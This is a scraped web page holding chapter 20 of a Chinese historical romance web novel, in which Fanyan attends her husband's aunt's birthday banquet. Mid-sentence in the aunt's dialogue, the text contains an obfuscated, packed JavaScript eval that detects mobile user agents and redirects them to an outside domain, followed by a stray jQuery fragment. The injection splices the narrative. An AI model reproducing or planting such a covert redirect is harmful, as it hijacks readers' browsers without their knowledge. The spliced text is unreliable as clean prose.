默认冷灰
24号文字
方正启体

20. 二十

作者:青城山黛玛本书字数:K更新时间:
    梵烟暗想:她从前在家就总有惊世骇俗之言,如今成了夫人,再无长辈约束,越发不着调了,姑且由得她去。


    当下也无话可回,拾起账目接着看。


    歆荣偏来献殷勤:“中晌咱们一道吃饭。让厨房用酥酪煮些蓣菌、鸡脯、玉蜀黍,配着烤胡饼,正可暖腹御寒。”


    梵烟本不欲理她,听着又忍不住:“这是什么吃法?简直闻所未闻——快别糟践粮食了。”


    “好吃着呢。”歆荣一味撺掇:“你尝尝就知道了。”一通插科打诨,好歹哄得梵烟转圜过来才作罢。


    末了到底吃了这番邦奶羹并胡饼,滋味竟不坏,身上也热烘烘的。梵烟回到房,一鼓作气绣完了画,小心自架子上取下来,叠了两叠,放置在锦盒里,让十锦交到前院去。


    因青玉条盆里的水仙全开了,嘱咐十锦顺带报喜,俄而又说:“罢了,别提这个。只将盒子给澜序手里是正经。”十锦纵不解,仍满口答应地去了。


    九莺年纪略长,看出门道来,抿着嘴儿笑:“说与不说,一时都要来的。”


    梵烟被点破心事,作势要拍她,九莺一头躲,一头道:“这些天一坐就是大半日,很该这么跑几步。”


    梵烟听她如此贴心,少不得放过她,倚着落地罩,睨她一眼作数。


    这头澜序收了绣件儿,依薛盟所说,与十锦一只红封、一小包波斯糖,返来忙揭开锦盒给薛盟过目,口中赞道:“从前单知道''栩栩如生''这个词,今日才明白''栩栩如生''是什么意思。”


    薛盟听着与有荣焉,捧着细赏一回,信口打发澜序下去,想一想,干脆扫开桌上一应杂物,再净一回手,珍而重之地将绢帛取出,徐徐展开,大理石台面上活像凭空凿出一汪清泉来,里面翠盖微颤、菡萏轻摆,一行鹭鸶不懂惜花,自顾自振翅嬉戏。


    连叹几声,薛盟回过神,心想:姑妈家两位表兄并无举业之意,这般图样搁在他们家里,不过寻常摆设而已,倒不如我自留下,能够时常品鉴。


    主意打定,复唤澜序:“将先前宫里赏的那一对白玉如意请出来,我记得有一个缂丝蝠桃盒子,装着正合适。廿五一早你自己捧到车上安放好,别交给旁人磕着碰着。”澜序一迭声应下。


    二十五日一大早,梵烟穿了一身银红妆缎袄儿、绿地缠枝牡丹裙,外头罩着玉色绸面白狐里的鹤氅,戴着卧兔儿,出门来迎头碰上纤纤。


    纤纤将她上下打量一通,便笑:“妹妹难得穿这般娇艳衣裳。”


    梵烟答了个“是”,“大节底下,再图省事也不能折了夫人的脸面。”


    纤纤说:“这话明白。”一面同往正院走,一面给梵烟看自己的靛蓝哆啰绒褂子:“我这一件也是夫人赏的,上身果然既暖又轻,亏得我原有一条织金的白裙儿,否则竟找不出堪配它的。”


    说话间到了歆荣房前,见里头灯火明亮,知晓歆荣已起来了,二人先后跨进屋里问安。


    歆荣忙让免礼,说:“今儿天灰蒙蒙的,怕是又要下雪。你们来得忒早,快喝些汤暖暖身子。”七巧便用小茶盘捧了两盏建莲红枣汤来,呈给二人。


    梵烟见歆荣仍捧着册子看,因问:“夫人还没忙完呢?”


    “这个却不是,等旦日过后再说。”歆荣因纤纤在场,一带而过。侧首看了眼西洋钟,嘱咐梵烟:“去了多替我向表嫂小姑们带好,正月里咱们家请酒时,我若认不得人,只赖在你头上。”


    纤纤这才听出端倪,满心不敢置信,压下异样神情,试探着向梵烟道:“妹妹这是要出门?”


    歆荣替梵烟答了:“姑母过寿,我实抽不开身,派她去应个景儿。你这会儿也别想闲着,来帮我看看送公主府的这些物什…”


    纤纤被她绊住了,只得看着梵烟告辞出门,扬长而去。


    外头马车已套好了,梵烟拢了拢鹤氅,微感寒风刺骨,不禁问跟车的澜序:“家主仍是骑马?”


    澜序笑而不答,只管伺候着她登上车。梵烟好生奇怪,进了车厢,方见薛盟就坐在里头,险些进退不是,顿了一瞬,默然择了角落安坐。


    薛盟本是谋定而动,捧着卷书用功,目光坦然落在梵烟身上时,脑子里那套说辞却刹那间烟消云散了,启了启唇,最终只将自己手旁的小珐琅炉递出去:“你怎么不坐近些,想是嫌我占了你的地盘儿?”


    梵烟如今与他相处渐久,深谙他原与歆荣是一个脾性,干脆不辩解一句,欠身接了手炉,趁势挪过去了些。


    薛盟遂愿,假意接着读书,书页上的字莫名游曳起来,朦胧间幻化成一抹银红。


    一片静寂里,连纸张翻动的声音也不闻。梵烟垂眸端坐,身上的鹤氅仿佛太厚,手里的珐琅胎又仿佛太薄,有意分神去听街上的喧闹人声,终归听不大真切。


    薛姑母的宅邸在城东,马车辘辘行了小半个时辰,方到大门前。门子早得了信儿在外候着,一时上前殷勤见礼问好,牵马停车。


    薛盟先下了地,回身向厢内伸出手,梵烟打起车帘,略一踟蹰,指尖隔着袖口轻搭在他腕上,借力下来。


    抬眼见大门上挂着“汪宅”,便是姑母夫家姓氏。


    里面两进院落,几个管事女人满面笑容地引二人一路往正厅去。


    正厅内语笑喧阗,闻说侄少爷到了,方次第静下来。但见当中一位身穿荔色卍字团花缎对襟褂子的华发老夫人独坐上首,左右侍立着两位杏粉裉袄儿的年轻媳妇,齐声笑道:“可算盼来了!”


    梵烟跟着薛盟,屈膝跪在拜褥上,叩首祝寿,薛姑母连忙让起身,先将薛盟上下端详一通,含笑点头:“果然成了家大不一样,比原先更结实了,也沉稳了。”


    又拉梵烟来自己跟前:“那一回我见着这孩子,心里就想,贺学士府究竟是何等福地洞天,万里挑不出一个的神仙人物,他们家竟有两个?一双眼睛简直看不过来。今儿赶巧了,再让我细瞧瞧。”


    梵烟低眉笑道:“姑太太谬赞了。原是托两家长辈的洪福,才叫我有今日造化。”


    先前两个年轻媳妇里便有一个窈窕些的“唉哟哟”起来,凑趣拐了妯娌一下:“母亲眼里再没有我们了。”


    薛姑母嗔她:“我素日里还不疼你?”因向梵烟引荐:“这是你大表嫂。”


    梵烟依言向她见礼过,复向另一略丰腴的蹲福:“二表嫂。”二人跟着还礼。


    随即薛姑母便让梵烟挨着她坐在榻上,梵烟不肯,一意婉辞,二表嫂武氏说:“你原是客,只管安坐。”大表嫂文氏亦附和:“弟妹别拘礼。母亲一贯最疼小辈,我们这等灰头土脸的尚且如此,何况弟妹?爱还爱不过来呢!”说得满堂皆笑。


    梵烟这才坐了。薛盟亦被让至东面第一张搭着崭新坐褥的圈椅落座。两个鬟儿捧着甜白炖盅上前,分奉给二人。


    薛盟因笑:“席还没开,咱们先吃上小灶了。”


    薛姑母说:“我还不晓得你们这些年轻人?菜色未齐,酒已闹过好几巡了。况且姑母这里的席实没什么可吃的。只这酸笋老鸭汤,你早年常喝的,权当垫垫肚子,一时灌烧刀子也不妨。”说着亲端了一盏与梵烟。


    梵烟忙双手接了,薛姑母怜惜地看着她,感叹道:“年轻女孩儿总不免有些单薄。多喝些暖暖胃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229015|179447||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,一路坐车也怪难受的。”


    复转向薛盟:“路上还好走?这一带长年车来车往,青石板路倒轧碎了不少。我说让你大表兄从监里调几个杂役来修一修,不过请顿餐饭谢几个银钱的小事,偏他抹不开脸,推说要过年了,不好这个时候劳烦人家。”


    薛盟道:“这原是大表兄仁厚周到之处。我那儿正有一班泥瓦匠,这会儿就叫他们来。”便让澜序回去传话。


    薛姑母连说:“如何使得。”


    “自家人用着趁手,说话就到了。”薛盟饮了口汤,搁下勺子:“铺路修桥也是积德的事儿,岂不比他们闲着吃酒赌钱输了强?”


    薛姑母听了,忙叫管事女人将家里小厮都派去帮衬,女人去而复返,报说:“大姑娘来了。”


    大姑娘乃是薛姑母幺女汪媃,而今正值碧玉年华。梵烟抬首望去,就见一位静水照花似的闺阁小姐亭亭而至,梳着垂鬟,穿着雨过天青遍绣玉兰袄裙,在满室浅红深绛里,清新得宛如玉净瓶里的一支新柳。


    “女儿伏祝母亲福寿康宁——愿松鹤延龄,萱堂春永。兰桂盈庭,天伦长聚。”汪媃拜过寿,从身后侍女手捧的仙鹤衔芝匣里取出一卷百寿图来,奉到薛姑母跟前:“娘知道我女红慢,才刚绣成,所以来晚了,还请娘不要见怪。”


    薛姑母一时乐得合不拢嘴,话里埋怨,话外尽是骄傲:“你这孩子…得亏今日来的都是自家亲戚,由着你闷在房里赶工,不来与大家说笑;且念着你有孝心便是好的,不然可是献丑了。”


    梵烟从旁一瞧,赞道:“我不如姑太太眼光毒辣,只看出这百寿图不仅绣工极好,个个字体也颇具风骨,既承大家风范,亦含闺阁气度。千真万确挑不出一点儿不足来。”说罢,不禁朝薛盟看了一眼。


    “你虽有心勉励她,但也太过了。”薛姑母对女儿道:“还不去见过你表兄。”


    汪媃忙向薛盟一福,薛盟亦起身还揖。薛姑母又虚指着梵烟:“这是你小嫂嫂。”汪媃便依言称呼,彼此拉手厮见过。


    一时丫鬟来回,花厅中酒席已备妥,请主客们移步。


    薛姑母便对薛盟道:“一不留神倒将你绊久了。你快到前头去吧,我嘱咐过你两个表兄,不许狠灌你,旁人要来起哄,还须替你挡着些呢。”


    薛盟只一笑:“姑妈别操心这个。”到外头与男客们应酬去了。


    女眷们在花厅安席,少不得一番你谦我让,最终仍奉薛姑母在最上一张弥勒榻,左侧略下为梵烟,右侧再下为汪媃,随后是汪家姊妹妯娌等,文氏、武氏张罗着劝酒娱亲,仅在末席虚设座位。


    梵烟待了一阵,依稀看出这位姑太太虽和蔼,秉性最是好强,尤其不肯在夫家稍落于人后。这些亲眷们,也有真心艳羡她与皇室攀了姻亲的,也有嫉恨不服暗暗较劲儿的。自己身为晚辈,恭谨守礼固然是应当的,却也不宜过分谦卑,反使薛家短了气势。


    故此凡有谁来她这儿探话,可圆融应对的皆圆融过去了,绵里藏针的也只好轻飘飘地敲打回去。场面上一团热闹和气,心里暗觉得疲惫乏味。


    宴罢又开台听戏,梵烟借口更衣,出来透气。无意走近一小小抱厦厅,两株石榴树掩门,里面一无长物,倒是个躲懒的好地方。


    梵烟饮了两杯酒,正觉得发热,没披鹤氅,也不嫌屋里冰冷,才要跨进门,远远瞥得薛盟由一人搀着,踉踉跄跄从前头过来,像是醉得很了。


    梵烟心想:既喝成这样,何不就近择个地方歇歇?非要勉强挪动他。脚下不觉迎过去几步,那边薛盟忽然站直了,冲搀他的人拱手说了两句话,自昂首阔步地走过来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)